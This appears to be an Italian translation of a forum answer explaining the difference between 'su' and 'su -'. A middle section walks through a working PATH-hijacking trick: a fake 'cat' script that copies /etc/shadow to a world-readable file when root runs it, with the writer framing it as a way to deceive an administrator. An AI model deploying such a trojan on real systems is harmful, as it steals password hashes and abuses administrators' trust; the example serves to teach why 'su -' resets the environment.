su -
richiama una shell di login dopo aver cambiato utente. Una shell di login resetta la maggior parte delle variabili d'ambiente, fornendo una base pulita.
su
semplicemente cambia utente, fornendo una shell normale con un ambiente quasi uguale a quello del vecchio utente.
Immagina di essere uno sviluppatore di software con un normale accesso utente a una macchina e il tuo amministratore ignorante non ti darà l'accesso come root. Cerchiamo (si spera) di ingannarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ora chiedi al tuo amministratore perché non puoi cat
il file fittizio nella tua cartella home, semplicemente non funzionerà!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Se il tuo amministratore non è così intelligente o è solo un po' pigro, potrebbe venire alla tua scrivania e provare con i suoi poteri di superutente:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Oh! Grazie, super amministratore!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Lui, lui.
Forse hai notato che il file $PATH
corrotto la variabile non è stata reimpostata. Questo non sarebbe successo se l'amministratore avesse invocato su -
invece.
su -
ti accede completamente come root, mentre su
fa in modo che tu stia fingendo di essere root.
L'esempio più ovvio di ciò è ~
è la home directory di root se usi su -
, ma la tua home directory se usi su
.
A seconda del tuo sistema, potrebbe anche significare differenze nel prompt, PATH
, o file di cronologia.
Quindi, se fai parte di un team che amministra un sistema e il tuo collega ti dà un comando da eseguire, sai che funzionerà allo stesso modo se entrambi state usando su -
, ma se state usando entrambi su
, potrebbero esserci delle differenze dovute alla diversa configurazione della shell.
D'altra parte, se vuoi eseguire un comando come root ma usando la tua configurazione, allora forse su
è meglio per te.
Inoltre, non dimenticare sudo
, che ha un -s
opzione per avviare una shell in esecuzione come root. Naturalmente, anche questo ha regole diverse e cambiano a seconda della distribuzione che stai utilizzando.
La differenza principale è :
su - username
imposta l'ambiente shell come se fosse un login pulito come l'utente specificato, accede e utilizza le variabili di ambiente degli utenti specificati,
su username
avvia semplicemente una shell con le impostazioni dell'ambiente corrente per l'utente specificato.
Se il nome utente non è specificato con su
e su -
, l'account root è implicito per impostazione predefinita.